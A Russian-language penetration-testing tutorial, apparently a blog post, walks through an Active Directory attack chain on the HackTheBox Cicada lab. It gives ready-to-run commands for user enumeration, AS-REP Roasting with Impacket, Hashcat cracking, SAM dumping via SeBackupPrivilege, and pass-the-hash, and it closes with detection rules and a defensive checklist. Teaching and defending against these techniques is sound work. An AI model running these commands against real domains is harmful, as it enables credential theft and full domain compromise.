AS-REP Roasting атака Active Directory: от разведки до дампа SAM через HTB Cicada

На внутреннем пентесте вся цепочка — от нулевого доступа до дампа SAM контроллера домена — заняла 47 минут. Точка входа: одна учётная запись с отключённой Kerberos pre-authentication. Вектор: AS-REP Roasting. Финиш: SeBackupPrivilege и полный контроль над доменом.
Одна галочка в свойствах аккаунта, которую поставили «для совместимости» и забыли. 47 минут — и домен сдан.
Машины типа HTB Cicada моделируют именно такой сценарий. Разберём его по шагам: от уровня протокола до конкретных команд в терминале.
Что происходит на уровне протокола Kerberos
Kerberos — протокол аутентификации в Active Directory (AD — служба каталогов Microsoft, центральное звено корпоративных сетей на Windows). Когда пользователь входит в систему, его машина обменивается сообщениями с контроллером домена (DC — сервер, управляющий доменом).
Нормальный процесс аутентификации:
- Клиент отправляет AS-REQ (Authentication Service Request) — запрос на проверку подлинности. Внутри — временная метка, зашифрованная хэшем пароля пользователя. Это pre-authentication: «докажи, что знаешь пароль, прежде чем я выдам тебе билет».
- DC расшифровывает timestamp своей копией хэша. Совпало — пользователь подтвердил личность.
- DC возвращает AS-REP (Authentication Service Response) с TGT (Ticket Granting Ticket — «пропуск», дающий доступ к ресурсам домена). Часть AS-REP зашифрована хэшем пароля пользователя.
Аналогия: pre-authentication — проверка паспорта перед выдачей пропуска на объект. Без неё охранник выдаёт пропуск каждому, кто назовёт имя сотрудника. Пропуск запечатан «замком» из пароля владельца, и если пароль слабый — замок вскрывается офлайн, без повторного визита на проходную.
Зачем отключают pre-authentication? Обычно ради совместимости с legacy-приложениями, которые не поддерживают этот механизм. По умолчанию в AD pre-authentication включена. Но достаточно одной ошибки конфигурации, чтобы открыть вектор AS-REP Roasting атаки.
Место AS-REP Roasting в цепочке атаки Active Directory
MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1558.004 — идентификаторы конкретных техник) классифицирует AS-REP Roasting как T1558.004 в тактике Credential Access.
В полной цепочке атаки на AD эта техника стоит рано:
- Разведка — сканирование сети, обнаружение DC, сбор имён пользователей
- Credential Access: AS-REP Roasting (T1558.004) — получение хэша и офлайн-подбор пароля
- Lateral Movement — перемещение по сети с полученными credentials
- Privilege Escalation — повышение привилегий (в нашем случае через SeBackupPrivilege)
- Credential Access: дамп SAM — извлечение хэшей всех локальных пользователей
Главное: AS-REP Roasting может работать без доменной учётной записи. Достаточно сетевого доступа к DC и списка имён пользователей. В grey box сценарии (когда на пентесте выданы low-privilege credentials) задача ещё проще: можно запросить список всех учётных записей с флагом DoesNotRequirePreAuth через LDAP, не угадывая имена.
Требования к окружению
Перед началом проверьте:
- ОС атакующей машины: Kali Linux 2023+ или любой дистрибутив с Python 3.8+
- RAM: минимум 4 ГБ; для Hashcat с GPU — от 8 ГБ плюс VRAM видеокарты от 4 ГБ
- Инструменты: Impacket (набор Python-скриптов для работы с сетевыми протоколами Windows; в Kali установлен по умолчанию, активно поддерживается), Hashcat (GPU-крекер паролей)
- Сеть: доступ к порту 88/TCP (Kerberos) контроллера домена; для HTB — активное VPN-подключение
- Права: root/sudo на атакующей машине на этом этапе не требуются
Для эскалации через SeBackupPrivilege дополнительно понадобятся evil-winrm (WinRM-клиент) и secretsdump.py из Impacket.
Где отработать: HackTheBox предоставляет машины с AD-инфраструктурой, включая Cicada, где эта цепочка воспроизводится в контролируемой среде.
Энумерация: находим учётные записи без Kerberos pre-authentication
Black box: нет credentials
Без доменных учётных данных нужен список имён пользователей. Способы сбора:
- SMB null session:
enum4linux -a <DC_IP>илиcrackmapexec smb <DC_IP> --users - RID brute force:
crackmapexec smb <DC_IP> -u '' -p '' --rid-brute - Kerberos user enumeration:
kerbrute userenum --dc <DC_IP> -d <DOMAIN> usernames.txt
На машинах HTB часто доступны гостевые SMB-шары с документами, где мелькают имена сотрудников — типичная стартовая точка для сбора имён. Не игнорируйте их: один файл welcome_note.txt может содержать логин, который откроет всю цепочку.
Grey box: есть low-privilege учётная запись
Если на пентесте выданы credentials, команда impacket-GetNPUsers -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> автоматически находит все учётные записи с отключённой pre-authentication через LDAP. Альтернатива из PowerShell на доменной машине: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}.
AS-REP Roasting через GetNPUsers Impacket
GetNPUsers.py — скрипт из Impacket, заточенный под AS-REP Roasting. Он отправляет AS-REQ без pre-authentication на DC и сохраняет полученный AS-REP в формате для офлайн-подбора. Работает с Linux-машины, не оставляет артефактов на целевой системе — DC видит обычный запрос аутентификации.
# Black box — с файлом имён пользователей
impacket-GetNPUsers -dc-ip 10.10.11.35 \
-usersfile users.txt -format hashcat \
-outputfile asrep_hashes.txt cicada.htb/
# Grey box — автоматический поиск уязвимых учёток
impacket-GetNPUsers -dc-ip 10.10.11.35 \
-request -format hashcat cicada.htb/guest:''
Что происходит при запуске: скрипт отправляет AS-REQ для каждого имени из списка. Если pre-authentication отключена, DC возвращает AS-REP с данными, зашифрованными хэшем пароля. Скрипт извлекает эту часть и сохраняет в файл. IP-адрес и доменное имя в примерах — подставьте свои значения.
Ожидаемый вывод при успехе — строка вида $krb5asrep$23$username@DOMAIN:...длинный_хэш.... Префикс $krb5asrep$23$ означает Kerberos 5 AS-REP с шифрованием RC4 (тип 23). Почему RC4? Инструменты AS-REP Roasting по умолчанию запрашивают именно его — он слабее AES и крекается значительно быстрее.
Если вывод пуст — ни одна учётная запись из списка не имеет отключённой pre-authentication. Проверьте полноту списка имён или переключайтесь на другой вектор.
Альтернативные инструменты для AS-REP Roasting:
| Инструмент | Платформа | Нужна аутентификация | Когда использовать | Когда не использовать |
|---|---|---|---|---|
| GetNPUsers (Impacket) | Linux, Python | Нет, но помогает | Внешний и внутренний пентест | Нет Python-окружения |
| Rubeus | Windows, C# | Нет (внутри домена) | Post-exploitation, уже на хосте | Нет доступа к доменной машине |
| nxc (бывш. CrackMapExec) | Linux, Python | Нет | Быстрая проверка в автоматизации | Нужен тонкий контроль параметров |
Rubeus запускается изнутри домена: Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt — автоматически находит все уязвимые учётки через LDAP. Модуль Metasploit auxiliary/gather/asrep — ещё один вариант, удобен для автоматизации, но менее гибок в настройках.
Крекаем хэш: Hashcat и режим 18200
Полученный хэш содержит данные, зашифрованные паролем пользователя. Задача — подобрать пароль офлайн, без повторных обращений к DC. Hashcat работает на GPU и для RC4-хэшей он быстрее всех альтернатив.
hashcat -m 18200 asrep_hashes.txt \
/usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
Разбор параметров: -m 18200 — режим для Kerberos 5 AS-REP etype 23 (RC4); rockyou.txt — словарь на 14 млн паролей (входит в Kali); --rules-file best64.rule — правила мутации (добавление цифр, смена регистра, спецсимволы), увеличивающие покрытие без полного перебора.
При успехе в конце хэш-строки появится открытый пароль. Скорость зависит от GPU: на GTX 1080 — около 500 MH/s для RC4, пароль из 8 символов по словарю подбирается за секунды. А вот пароль длиной 25+ символов — практически невзламываем.
Альтернатива без GPU: john --wordlist=rockyou.txt --format=krb5asrep hashes.txt (John the Ripper). Работает на CPU, существенно медленнее, но на ноутбуке без дискретной видеокарты — единственный вариант.
SeBackupPrivilege: повышение привилегий и дамп SAM
Пароль подобран. Следующий шаг — проверить привилегии скомпрометированной учётной записи. На HTB-машинах и в реальных инфраструктурах встречается ситуация: аккаунт входит в группу Backup Operators и имеет привилегию SeBackupPrivilege.
Зачем эта привилегия существует: она позволяет читать ЛЮБОЙ файл в системе, включая защищённые кусты реестра. Штатная возможность Windows для операторов резервного копирования. Но атакующий использует её для извлечения хэшей паролей из базы SAM (Security Account Manager — хранилище локальных учётных записей Windows и их NTLM-хэшей).
Подключаемся к целевой машине через evil-winrm -i <DC_IP> -u <USER> -p <PASSWORD> и проверяем привилегии командой whoami /priv. Видите в списке SeBackupPrivilege — эскалация возможна.
# В сессии evil-winrm на целевой машине
reg save HKLM\SAM C:\tmp\SAM
reg save HKLM\SYSTEM C:\tmp\SYSTEM
download C:\tmp\SAM
download C:\tmp\SYSTEM
# На атакующей машине — извлекаем хэши
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Что происходит на каждом шаге:
reg save HKLM\SAM— копирует куст реестра SAM в файл. Без SeBackupPrivilege команда вернёт «Access Denied».reg save HKLM\SYSTEM— копирует куст SYSTEM, содержащий ключ шифрования для расшифровки SAM.download— встроенная команда evil-winrm для скачивания файлов на атакующую машину.secretsdump -sam SAM -system SYSTEM LOCAL— Impacket-скрипт объединяет оба файла и извлекает NTLM-хэши (формат NT LAN Manager) всех локальных пользователей, включая встроенного Administrator.
Ожидаемый вывод: строки вида Administrator:500:aad3b435b...:31d6cfe0d1...:::. Часть после последнего двоеточия — NTLM-хэш. С ним можно выполнить Pass-the-Hash (T1550.002 — использование хэша вместо пароля для аутентификации) через evil-winrm -i <DC_IP> -u Administrator -H <NTLM_HASH> и получить полный административный доступ.
Альтернативный путь: diskshadow для создания теневой копии тома и копирования ntds.dit — базы AD со всеми доменными хэшами. Мощнее, но заметнее для средств мониторинга.
Ограничения AS-REP Roasting
Техника рабочая, но далеко не серебряная пуля.
Pre-authentication включена по умолчанию. В стандартной конфигурации AD ни у одной учётной записи флаг DoesNotRequirePreAuth не установлен. AS-REP Roasting атака срабатывает только при явной ошибке конфигурации — кто-то поставил галочку «Do not require Kerberos preauthentication» и забыл.
Сильные пароли делают крекинг бессмысленным. Пароль 25+ символов со спецсимволами не подбирается за разумное время даже на GPU-кластере. Групповые управляемые сервисные учётные записи (gMSA) используют пароли длиной 240 символов — против них AS-REP Roasting бесполезен.
AES вместо RC4. Если в домене через Group Policy отключено шифрование RC4 и оставлен только AES-256 (тип 18), хэши получить можно, но крекинг становится примерно в 100 раз медленнее. Hashcat-режим для AES-256 Kerberos — 19700.
Детектирование. Event ID 4768 в журнале Security на DC фиксирует каждый запрос TGT. Комбинация [Ticket Encryption Type: 0x17](https://www.zscaler.com/blogs/product-insights/active-directory-kerberoasting-deception-detection) (RC4) и Pre-Authentication Type: 0 — прямой индикатор AS-REP Roasting. Sigma-правило win_security_susp_rc4_kerberos.yml из репозитория SigmaHQ детектирует этот паттерн, а proc_creation_win_hktl_rubeus.yml — запуск Rubeus по аргументам командной строки.
Honeypot-учётки. Защитная техника из MITRE D3FEND (D3-DUC — Decoy User Credential): создаётся аккаунт с отключённой pre-authentication, привлекательным именем (svc_backup, admin_legacy) и сложным паролем. Любой AS-REP запрос к нему — мгновенный алерт. На практике я встречал такие ловушки на двух из десяти внутренних аудитов. Попадёшься — и вместо тихого продвижения по домену получишь звонок от SOC.
Kerberoasting vs AS-REP Roasting: когда что применять
Обе техники входят в T1558 (Steal or Forge Kerberos Tickets) и нацелены на офлайн-подбор паролей через Kerberos, но механика и условия применимости разные.
| Критерий | Kerberoasting (T1558.003) | AS-REP Roasting (T1558.004) |
|---|---|---|
| Цель | Сервисные учётные записи с SPN | Учётные записи без pre-auth |
| Нужна доменная учётка | Да (любой пользователь домена) | Нет (достаточно знать имя) |
| Что крекаем | TGS-хэш (сервисный билет) | AS-REP хэш (ответ аутентификации) |
| Hashcat mode | 13100 (RC4) / 19700 (AES) | 18200 |
| Инструмент Impacket | GetUserSPNs | GetNPUsers |
| Частота в продакшене | Высокая (SPN есть почти всегда) | Низкая (pre-auth включена по умолчанию) |
Алгоритм выбора вектора:
- Нет credentials — начинайте с AS-REP Roasting (не требует аутентификации в домене)
- Есть low-privilege credentials — сначала Kerberoasting (больше потенциальных целей), затем AS-REP Roasting
- Оба вектора пусты — переключайтесь на LLMNR/NBT-NS Poisoning, password spraying или поиск других мисконфигураций
Чеклист защиты от AS-REP Roasting
Готов к передаче системному администратору или включению в отчёт по аудиту:
- Найти все учётные записи с отключённой pre-authentication:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true -and Enabled -eq $true} - Включить pre-authentication для каждой найденной учётки; исключения — только при документированном обосновании
- Для учёток, где pre-authentication отключить нельзя: установить пароль минимум 25 символов со спецсимволами
- Отключить RC4 через Group Policy: Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options → «Network security: Configure encryption types allowed for Kerberos» — оставить AES128 и AES256
- Настроить мониторинг Event ID 4768 с фильтром:
Ticket Encryption Type = 0x17иPre-Authentication Type = 0 - Мониторить Event ID 4738 на изменение атрибута
DoesNotRequirePreAuth— детектирует момент, когда кто-то ставит опасную галочку - Создать honeypot-учётку с отключённой pre-authentication, сложным паролем и алертом на любую попытку аутентификации
- Ежеквартально проводить аудит атрибутов аутентификации доменных учётных записей
Вся цепочка, которую мы разобрали — от AS-REP Roasting до дампа SAM через SeBackupPrivilege — работает не потому, что в AD есть «уязвимость». Она работает потому, что кто-то однажды поставил галочку в свойствах учётной записи и забыл о ней. На внутренних аудитах это встречается регулярно: защитники часто не подозревают, что у них есть учётки с отключённой pre-authentication, потому что никто не проводил аудит атрибутов аутентификации. Одна команда PowerShell из чеклиста выше решает проблему за пять секунд — но её никто не запускает.
Отдельная история — SeBackupPrivilege. Назначение этой привилегии группе Backup Operators выглядит логичным: оператору бэкапов нужен доступ к файлам. На практике это означает, что «оператор бэкапов» может прочитать все секреты домена. Резервное копирование давно автоматизировано через gMSA и агентов, а привилегия продолжает висеть на учётных записях людей, которым она не нужна. Пока её не отберут, любой скомпрометированный аккаунт из Backup Operators превращает «получил один пароль» в «получил весь домен». Если хочется понять не только «что набрать в терминале», а почему эта цепочка работает на уровне протоколов — IB Basics закрывает эту базу без академического тона.
Эту тему и смежные навыки разбирают на практике в курсе «Специалист по тестированию на проникновение» Codeby Academy.